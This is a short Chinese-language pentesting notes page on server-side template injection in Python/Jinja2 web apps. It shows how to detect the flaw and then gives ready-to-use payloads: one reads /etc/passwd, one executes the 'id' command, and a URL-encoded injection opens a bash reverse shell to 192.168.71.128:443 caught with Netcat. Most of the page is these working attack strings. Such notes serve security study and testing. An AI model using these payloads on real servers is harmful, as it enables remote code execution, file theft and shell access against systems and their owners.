> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).
# SSTI Python
如何知道一个网站是否可能易受攻击 **SSTI（服务器端模板注入）** ？如果我们可以在一个 **输入**，就像下面变量的情况一样 **用户**，它会在……中被解释 **输出**:
使用 **whatweb**，如果我们看到某个 Web 服务器使用了 **Python、Java、Jinja2、AngularJS……** 作为编程语言，并且这未经过清理，那么它可能包含这种漏洞：
要用……来测试这一点 **/{{ /}}**，我们测试它是否会解析 **计算**:
在这种情况下，它会解析：
多亏了网站 [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings)，我们找到了所有 [可能的注入](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)：下面是一些使用……的示例 **Python**：获取访问权限 **系统中的任何资源** (/**etc/passwd**):
```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}
```
执行任何 **命令** 系统中的（**id**):
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
获取一个 **访问权限** 到服务器：
```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}
```
我们用……监听 **Netcat** 然后成功入侵：）
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